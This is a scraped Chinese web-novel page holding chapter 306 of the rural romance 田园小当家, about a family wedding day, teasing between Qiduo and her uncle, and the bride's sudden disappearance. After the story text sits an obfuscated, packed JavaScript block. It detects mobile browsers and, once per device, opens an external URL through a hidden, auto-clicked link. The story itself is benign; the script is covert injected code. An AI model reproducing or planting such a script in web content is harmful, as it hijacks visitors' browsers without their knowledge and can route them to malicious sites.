第五文学网 > 言情小说 > 田园小当家 > 第306章:逃婚

    自从上回让五杏去找过韩和成之后,三桃忽然之间就寂静了下来。

    对向家的亲事,她不争不吵不闹,好像对韩和成死了心一样。

    杨氏让她绣枕头,她不会去绣帕子,十分的乖巧听话,整日坐在屋子里绣着嫁妆,不时的与五杏说笑几声,看着像无事人一样。

    幸好三桃的嫁妆以前已绣得差不多了,不然,短短两个时间,哪儿来得及绣那些东西。不过,饶是如此,还是要五杏帮着她做鞋,给向老爷夫妇的鞋子。

    谭德银夫妇见她如此,一颗提着的心总算是放了下来,想着她是被打怕了。

    只有与三桃朝夕相处的五杏,却隐隐有些不安的感觉,认为三桃并不像表面看起来那般沉静,可能会有什么事情发生。

    五杏担心会节外生枝,将自己的担心说给了爹娘听。

    谭德银夫妇不以为意,认为她太多心了,但还是叮嘱她这些日子仔细盯着三桃,莫要大意了,更不可让她外出。

    五杏顿感肩上的担子无比的沉重,睁大眼睛,打起十二分精神看着三桃,丝毫不敢懈怠。

    三桃认真的绣着手中的鸳鸯戏水枕套,唇角噙着浅浅的笑容,笑容里还有一丝丝羞意,似乎对这桩亲事极其满意的样子。

    但她心里到底是如何打算的,别人不知,只有她自己最是清楚。

    只是眨眼的功夫,就到了三桃与向光阳成亲的大喜之日,谭老爷子带着谭家众人一起来到谭德银家。

    七朵家除了留下二霞看门外,其他人都来了。

    二霞主动提出看门的原因,一来是不喜欢热闹的地方,二来是担心到时谭德银家客人多,万一遇上韩和成,说不得会发生什么事儿呢。

    经历了林家、韩家之事后,二霞心里有了阴影,一直十分忐忑。不想在与康进成亲之前惹出什么是非来。

    她只想顺利的嫁给康进,然后与他平平安安的过一辈子,不求大富大贵,只要事事顺利就成。

    与康进的亲事,她很满意,认为这是老天爷对她的眷顾,可不想错失。

    谭德银家果然来了很多客人,前院到处都是人,谭德金、谭德宝帮着迎客,谭德佑也跟在后面忙碌着。

    谭德佑明显比以前黑瘦了许多。手上都有了茧子。那是手被磨破之后留下的痕迹。

    “老五。怎么变得这样黑?”谭德银见到谭德佑,首先就疑惑的问出这句话来。

    “我天天下田下地干活,被太阳都烤焦了,能不黑吗?”谭德佑苦着脸叫屈。

    “你下田地干活?不可能吧?”谭德银一脸的不相信。

    他并不知谭老爷子对谭德佑的调教。所以才会这样问。

    谭德佑将双手向谭德银面前一摊,点了点上面的茧子说,“二哥,你看,手都差点儿磨烂了,还能有假吗?”

    谭德银这才信了他话,就问他是怎么回事。

    谭德佑不想说太多,只是摆摆手,“二哥。你还是去忙吧,等有空了再与你说。”

    谭德银点点头,今儿也的确太忙,虽然好奇家里发生了什么,但眼下也不是问这事的时候。

    谭德佑撇了下嘴。四处看了看,想看哪儿能躲下懒时,恰好看见七朵从他身旁经过。

    “七朵,过来过来。”谭德佑立马冲她招手。

    看到七朵,他就牙痒痒,有想咬人的冲动。

    因他后来终于知道,谭老爷子之所以会突然让他下田地干活,纯粹是听了七朵的话。

    这些日子受了这些罪,让他苦不堪言,对七朵怎能不恼呢。

    “五叔,何事呀?”七朵笑眯眯的走过来问。

    “哼,还说呢,七朵,你这小丫头,都怨你,害我变成这黑炭模样。你说说你啊,什么话不好说,偏偏对你爷说让我下田地干活,你这不是要我小命吗?”谭德佑拧眉咬牙,表情恨恨的。

    表情虽恨,但语气并不狠,纯粹是牢骚之言,还有些孩子气的。

    韩超与伍红春是他的好友,他们的性命是七朵救的,光这一点,他就不能真的恨她。

    他今年十五岁,只比七朵大四岁。

    虽然好吃懒做,但心地并不坏,也没四郎那样的狠劲儿,不然,他早就跑去找七朵算账了,也不会等到今日。

    七朵也就是看他不是那种十恶不赦之人,是真心望他好,所以才会对谭老爷子说那番话,要是换做是四郎,她可能不会费这些心思和口舌吧。

    七朵就撇嘴,“五叔,你这可就错怪我了呀,子曰,天将降大任于斯人也,必先苦其心智劳其筋骨。所以说呀,这要成大事者,必定要先经过一番锤炼才能有出息。”

    “得了得了,别跟我提子曰,一提起这,我就头痛。”谭德佑皱着眉头摆手,以前在学堂里,只要看先生摇头晃脑的说子曰,他就晕晕欲睡,一点儿兴趣也没。

    “五叔你难道没发现这些日子下田地干活,很有收获吗?”七朵笑眯眯的问。

    “哼,有什么收获,我都差点儿累趴在田里。”谭德佑没好气的答。

    七朵唇角一勾,笑得狡黠,“五叔,经过这些日子,你认为是听先生说子曰累,还是下田地干活累呀?”

    “废话,肯定是下田地干活累啊……”谭德佑脱口而出,话出口之后,他忽然意识到什么,顿时住了口,站在那儿沉思起来。

    是啊,虽然先生的子曰听着很烦,很想睡觉,可这与在烈日下干活相比,那可是轻松百倍啊。

    读书只要动动口动动脑就行了,可这种田不光要动脑,还要动手出死力气,要忍受风吹日晒和雨淋,且又脏又累,十个手指甲没有哪一天是干净的。

    七朵见他这副模样,猜到他应该有所感触,心里有些安慰,这些日子总算没让爷爷跟在后白忙活,还是有些效果的。

    她满意的笑笑,转身欲走。

    “七朵,我发现温公子对你好像有些不一样呢。”正在沉思的谭德佑忽然神情恢复,冷不丁冒出这句话来。

    七朵惊了下,忙道,“五叔,饭可以乱吃,这话可不能乱说呀,人家温公子才救了你呢,你可不能在背后说人家坏话呀。”

    她眨巴水灵灵的大眼睛,一副无辜的模样。

    谭德佑将她拉去一旁,见四下无人,嘿嘿笑了一声,这才压低声音道,“七朵,你就别狡辩了,那日你去后院找温公子,你们二人说的话,我可都听见了。”

    “什么话?不对呀,五叔你当时不是还晕迷着没醒嘛,怎能听见我们说话呢?”七朵不解的问。

    谭德佑抓了抓脑袋,说,“我那时刚醒过来,头还是有些晕晕沉沉的,正想好好睡一会儿时,就听到了你们二人的说话声。我发现在温公子的心中,你的份量还真不轻呢,救不救韩超他们全凭你一句话。”

    七朵脑子里嗡的一声,做梦也不会想到当时与温修宜说的话会被人偷听了去。

    当时谭德佑躺在那儿晕迷不醒,以为他是没意识的啊。

    不过,十分万幸的是,她当时并没有说过什么特别的话,更没有与温修宜二人用前世的身份对话,否则,她和温修宜可能会被人当做妖怪抓起来,然后用火烧了吧。

    “五叔,你听茬了,对了,这些话你没告诉别人吧?”七朵淡淡的应着,不能太过激,否则会让谭德佑更加怀疑的。

    谭德佑摇摇头,“看在温公子救我一命的份上,这种话,我当然得瞒着啊。”

    七朵认真的点头,“嗯,温公子可是咱们谭家的救命恩人,有些话可不能乱说,要是传了出去,不但会惹人笑话,也会让温公子不高兴的。五叔,你说是不是?”

    谭德佑点点头,“放心吧,我可不是那长舌妇,你以为我喜欢传那些乱七八糟的话嘛。对了,七朵,你快告诉我,你与温公子到底是怎么相识的,你们之间是什么关系呀?”

    他忽然又八卦起来。

    七朵斜了他一眼,“五叔,你可是我五叔嗳,是我的长辈呢,怎么好好问这话。我去忙了!”

    然后不去理他,飞快离开这儿去帮忙。

    “切,不说就不说嘛,有什么了不起的。”谭德佑对着七朵的背影挥挥手,然后又低声嘀咕着,“不过,听温公子当时与七丫头说话那口气,真的好亲切好温和哟,他们到底是什么关系呢……”

    “五叔,你一人在这儿发啥愣呢。”三郎清朗的声音传来。

    谭德佑转身,冲迎面而来的三郎摆手,“没事。”

    三郎走近,一把搂了他的肩膀,“走,快开席了。”

    叔侄二人说笑着离开。

    客人们被安排就座,之前挤在三桃屋里说话的小娘子妇人们都出了厢房,走向各自的位置,与左右相邻的人说说笑笑着。

    菜一道道如流水般被端了上来,院子里欢声笑语着。

    席开一半时,五杏捂着后脑勺,满面惊慌之色的从三桃房间里跑了出来,跌跌撞撞的去找杨氏。

    杨氏正好来后院,想检查一下三桃要穿戴的首饰和喜服,看可有差池。

    “死丫头,慌慌张张的做什么?”杨氏一把位住小跑着的五杏,低声斥着,并四下看了看,幸好客人们都在前院吃酒,无外人看见这一幕。

    “娘,二姐不见了。”五杏带着哭腔说。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))